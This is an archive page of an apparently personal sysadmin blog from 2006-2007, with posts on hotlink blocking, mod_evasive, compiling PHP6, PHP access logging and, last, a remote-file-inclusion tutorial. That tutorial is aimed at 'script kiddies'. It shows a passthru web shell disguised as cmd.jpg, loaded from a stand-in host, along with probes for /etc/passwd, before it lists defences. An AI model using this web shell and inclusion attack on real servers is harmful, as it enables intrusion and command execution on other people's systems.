Optimizing PHP, Revisited.

Posted by Nessa | Posted in Uncategorized | Posted on 16-04-2007

1

I wrote an article a while back on PHP optimization, but it was pretty lacking in most aspects, probably because I’m a lazy poster. I’ve revisited that article and reposted to hopfully have it be a little more helpful on the area.

Keep People from Jacking your Images

Posted by Nessa | Posted in Uncategorized | Posted on 19-03-2007

0

I get this question a lot, so I figured I’d post it here. For those of you who don’t have the convenience of a cPanel-based system, you can block image hotlinking in your .htaccess. Image hotlinking is basically when someone uses an image from your website on their site, but has your site in the <img src..> tags (instead of their own site) so the image loads remotely, and therefore sucks up your bandwidth and resources.

Load up the .htaccess file in your website root (public_html or www folder, usually) and add these lines anywhere in the file:


RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://v-nessa.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://v-nessa.com$ [NC]
RewriteCond %{HTTP_REFERER} !^http://v-nessa.net/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://v-nessa.net$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.com$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.net/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.v-nessa.net$ [NC]
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ http://v-nessa.net [R,NC]

I’m using my two sites, v-nessa.net and it’s parked domain, v-nessa.com. These are sites that I want to allow to display my images. Please note that with Apache, w’s and https matter. So if you have hotlink protection set for yourwebsite.com and someone accesses your site via https://yourwebsite.com or www. yourwebsite.com, they will not be able to see the images unless your allow them as a referrer. Same goes with your subdomains.

Preventing DOS Attacks with mod_evasive

Posted by Nessa | Posted in Uncategorized | Posted on 18-03-2007

2

I recently had to deal with a guy whos VPS was constantly being hit by the same IPs over and over until the server crapped out and refused to do anything…it was royally a pain in the ass because I literally had about 10 seconds between starting up the server and having it crash again. Needless to say that those 10 seconds were spent stopping Apache to give me enough time to do a netstat -n and block the assholes who were flooding the server. I then decided to installed mod_evasive, which is a simple Apache module that monitors the amount of connections from one IP and blocks any that reach a set limit. Here’s how you do it via SSH:


wget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -xvzf mod_evasive_1.10.1.tar.gz
cd mod_evasive_1.10.1
/usr/local/apache/bin/apxs -cia mod_evasive.c

Once the module is compiled, restart Apache and add this to your httpd.conf:


<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 6
DOSSiteCount 50
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>

DOSHashTableSize – Size of the hash table. The greater this setting, the more memory is required – faster

DOSPageCount – Max number of requests for the same page within the ‘DOSPageInterval’ interval

DOSSiteCount – Max number of requests for a given site, uses the ‘DOSSiteInterval’ interval.

DOSPageInterval – Interval for the ‘DOSPageCount’ threshold in second intervals.

DOSSiteInterval- Interval for the ‘DOSSiteCount’ threshold in second intervals.

DOSBlockingPeriod – Blocking period in seconds if any of the thresholds are met. The user will recieve a 403 (Forbidden) when blocked, and the timer will be reset each time the site gets hit when the user is still blocked.

A good supplementary script to mod_evasive is ddos, which will send you an email whenever an IP is blocked for too many connections. It also works as a backup in case Apache gets too hammered with connections. All you have to do is:


wget http://www.inetbase.com/scripts/ddos/install.sh
perl install.sh

Now you just edit /usr/local/ddos/ddos.conf .

How to Install PHP6

Posted by Nessa | Posted in Uncategorized | Posted on 26-02-2007

4

This was a little experiment gone somewhat wrong, when I tried to upgrade my VPS to PHP6. I swear it worked, but I should have known that nothing supports it — WordPress just crapped out a bunch of errors. On a higher note though, it seems to be hella secure as you can no longer use magic quotes or globals, otherwise Apache will fail. So if you really want to be on the bleeding edge, here’s how you install PHP6:

I didn’t really need to install a whole bunch of stuff, but depending on how your webserver is already set up you may need to install extra dependencies, but this will become obvious during the compile.

1) Make sure your autoconf version is up to date with version 2.13 or higher:

autoconf -V

2) Install ICU…you can find your version here.

wget ftp://ftp.software.ibm.com/software/globalization/icu/3.6/icu4c-3_6-src.tgz
tar -xzvf icu4c-3_6-src.tgz
cd icu*/source
mkdir /usr/local/icu
./configure --prefix=/usr/local/icu && make && make install

3) Git yur PHP! You can find the latest dev release of PHP6 at http://snaps.php.net/. Your wget and tar targets will be different, as the development version changes frequently.

wget http://snaps.php.net/php6.0-200702230530.tar.gz
tar -xvzf php6.0-200702230530.tar.gz
cd php6.0-200702230530
./buildconf

This will build the configuration and let you know if something is missing. Once this is complete, run the configure script…I’ve the mandatory stuff in there, but you’ll also want to include any PHP modules that you need. You may find it easier to copy this from a phpinfo file, minus the quotes.

./configure --with-apxs=/usr/local/apache/bin/apxs --prefix=/usr/local/ --with-icu-dir=/usr/local/icu

You’ll probably get build errors, which is usually due to 1) a particular module no longer being supported or 2) PHP cannot find that module’s files on the server. In this case you’ll want to see which module the configure command stops at, then either leave it out or make sure the module is compatible with the correct location specification in the configure command. For instance, I have Ming installed and this is the directive in my configure command:

--with-ming=../ming-0.2

Once you have a good build, you can install your PHP:

make && make install

4) Configure Apache

Usually the PHP installation with the –with-apxs switch will add the necessary entries to your httpd.conf, but if not you will need to comment out the loaders for php4/php5 and add the one for php6:

/etc/init.d/httpd restart (or whatever command you use to restart Apache)

LoadModule php5_module libexec/libphp6.so
AddModule mod_php6.c

Now…twenty bucks says that there is now something on the server that doesn’t work, which will be obvious with the Apache restart you just did. You’ll want to check your error logs for the obvious problems, then correct the issues in your php.ini and other files it mentions. The most common issue is with the magic quotes gpc and register globals.

If you have any third-party extensions like Zend. IonCube, or eAccelerator, you’ll need to re-install those as well.

There you have it…you now have PHP6 installed on your server…and now your apps don’t work! You can admire your work next time you try to load your site.

Be sure to make a pretty phpinfo() file to check the installation.

<?php phpinfo() ?>


Script Kiddy Killjoy

Posted by Nessa | Posted in Uncategorized | Posted on 22-01-2007

1

If your site has ever been hacked, it will have most likely showed up in the zone-h database. This is the site where all the little script kiddies get together to brag about their “hacking” skills and such. Basically, whenever they deface a site they report it to zone-h, who then check to make sure they aren’t full of shizit. Well, in efforts to keep the script-kiddies from getting credit, I’ve devised discovered a way to make sure that zone-h’s bots can’t check the submissions. All you have to do is add this to your root .htaccess file:

<Files 403.shtml>
order allow,deny
allow from all
</Files>

# zone-h
deny from .zone-h.org
deny from .zone-h.com
deny from 213.219.122.

# cyber-warrior.org
deny from .cyber-warrior.org
deny from .cyber-security.org
deny from 80.237.211.8

Setting up an Access Log with PHP

Posted by Nessa | Posted in Uncategorized | Posted on 14-01-2007

0

I set this up back in July when my site was hosted with H-Insiders and I didn’t have direct access to my Apache logs. I figured that I could do this myself with a few basic PHP functions, and by doing so I was able to set up my own access log in a static text file that I could download whenever I wanted. This first example is to log unique visitors to your site as well as gather some important information about them. Here is the code:


<?php
session_start();
if(!session_is_registered('counted')){
$agent = $_SERVER['HTTP_USER_AGENT'];
$uri = $_SERVER['REQUEST_URI'];
$user = $_SERVER['PHP_AUTH_USER'];
$ip = $_SERVER['REMOTE_ADDR'];
$ref = $_SERVER['HTTP_REFERER'];
$dtime = date('r');


if($ref == ""){
$ref = "None";
}
if($user == ""){
$user = "None";
}


$entry_line = "$dtime - IP: $ip | Agent: $agent | URL: $uri | Referrer: $ref | Username: $user n";
$fp = fopen("access_log.txt", "a");
fputs($fp, $entry_line);
fclose($fp);
session_register('counted');
}
?>


Basically, this is what the code it doing:

session_start();

First, we have to create a session so that the script will only log this visitor’s activity until the session expires

if(!session_is_registered('counted')){

This snippet checks to see if there is a session variable anywhere, and there is it executes the next section of code.

$agent = $_SERVER['HTTP_USER_AGENT'];
$uri = $_SERVER['REQUEST_URI'];
$user = $_SERVER['PHP_AUTH_USER'];
$ip = $_SERVER['REMOTE_ADDR'];
$ref = $_SERVER['HTTP_REFERER'];
$dtime = date('r');

This is where the information is collected:

HTTP_USER_AGENT logs the browser type of the visitor

REQUEST_URI logs the page request

PHP_AUTH_USER shows the login credentials used if a user is being authenticated

REMOTE_ADDR shows the IP address of the visitor

HTTP_REFERER shows where the visitor was referred from

Now, to write to the logfile we see this code:

$entry_line = "$dtime - IP: $ip | Agent: $agent | URL: $uri | Referrer: $ref | Username: $user n";
$fp = fopen("access_log.txt", "a");
fputs($fp, $entry_line);
fclose($fp);
session_register('counted');

You’ll see that the first line is simply printing out the variables defined above as labels, which can be modifed to whatever you want. fopen and fclose are simple php commands used to open and close a file, while fputs will write the variable $entry_line to the file, with $entry_line being equal to all the information collected by the script. The name of the file we are writing to is “access_log.txt” and the path in the script should reflect the location of where you want that file to be on your server.

But what if you want to bypass sessions and log every single page hit? First of all, your log file is going to become massive, but if you would like to keep more extensive logs all you have to do is exclude this code from the script:

session_start();
if(!session_is_registered('counted')){


session_register('counted');
}
?>

Now you have set up a simple logging system to keep your own Apache access logs. Just make sure you set the text file location to where you want the script to write on your webserver, preferrabled somewhere outside your document root folder.

Hotlink Block

Posted by Nessa | Posted in Uncategorized | Posted on 14-01-2007

0

So I finally figured out what caused the huge bandwidth spike on my site last month.  Seems some idiot was hotlinking my MP3s and old images from the Jukebox and gallery on my previous site…I guess he’s out of luck now that they’re gone.  Anywho, for those who don’t have the luxury of cPanel, here’s a simple Apache rewrite to keep people from jacking your images and stuff:

 

RewriteEngine on
RewriteCond %{HTTP_REFERER} .
RewriteCond %{HTTP_REFERER} !^http://(www\.)?site\.com [NC]
RewriteRule \.(jpe?g|gif|png|bmp|mp3)$ – [NC,F]
 

PHP Injections for Dummies

Posted by Nessa | Posted in Uncategorized | Posted on 30-12-2006

7

This is a basic tutorial on how to do a simple PHP injection, for all you n00bish script kiddies

UPDATE:  FYI, since the release of php 5.2.1, this post mainly applies to earlier versions since remote includes will be disabled in all future releases unless specifically allowed in php.ini.

So basically, a PHP injection is a way of slipping your code in with someone else’s, while making the server think it is legit. Take a common php-formatted URL:

http://v-nessa.net/index.php?page=mypage.php

You need to understand what this URL is doing — basically, it is calling on the index.php page, but the ? lets the server know that there is a command string following, in this case a page specification of mypage.php. ? Acts as an include by pulling the contents of a specified file into index.php. There’s what my index.php file looks like:

<?php include ('header.php');

include($page) //this is the page we are calling in the URL ?>

Now, the index.php?page= syntax is the worse case scenario — it will allow you to include the contents of any page into index.php. Do you get where I’m going with this?

An easy example and test is to take your vulnerable page and append an extra URL to it, for example, google.com. So my URL will look like this:

http://v-nessa.net/index.php?page=http://google.com

If you see Google show up anywhere on the page, then congratulations, you found a leak in the code. Now, knowing that you can pull any file into the URL and have it posted in index.php, I’m sure your mind is wandering with possibilies. Why don’t we try the .htaccess?

http://v-nessa.net/index.php?page=.htaccess

Or if you’re feeling daring you could probably even grab the master passwd file on the server:

http://v-nessa.net/index.php?page=/etc/passwd

But don’t get your hopes on on that one… most servers use open base_dir protection with Apache to keep php from going where it shouldn’t go.

Now thank we know the basics, let’s have some fun!

Using something like Notepad, create a text file and save it as a cmd.jpg in ANSI coding, and upload it to your server:

<?php passthru($cmd); ?>

Now go back to the vulnerable page, but add your file’s URL to the end:

http://v-nessa.net/index.php?page=http://hackersite.com/cmd.jpg

Now you can append commands the end of the URL to run Linux commands in the browser. Yes, Linux commands — meaning you now have free reign to the user’s directories, especially ones that are stupidly set to 666 or 777. You can pretty much do anything, like create files/folders, write scripts, download more files, and maybe even delete a few. Here’s the syntax:

http://v-nessa.net/index.php?page=http://hackersite.com/cmd.jpg?cmd=mkdir weeeeeeee

*sigh* Now I have to tell you how to prevent this. In a nutshell:

1. Install mod_security into Apache and make sure your rulesets accomodate the php software you have installed, including access to sensitive files like .htaccess and .htpasswd. This means when those files are called in a browser the server will deny the request.

2. Turn register_globals of for php. It shouldn’t be on anyways.

3. You’ll probably want to add a file exists() function, which will make sure that any included files exist locally.

4. Turn off url Fopen in php.ini or .htaccess, but beware, because some software requires this to work.

UPDATE: Since php 5.2.1, remote includes are no longer enabled without the php.ini directive for allow_url_include. Read Post

5. Make sure you have open base_dir protection enabled in Apache so PHP can’t access files outside the user directory.

6. And the big DUH! Keep your software up to date and refrain from making any folders or files on your site writeable by the “everyone else” group without taking the proper measures to protect them.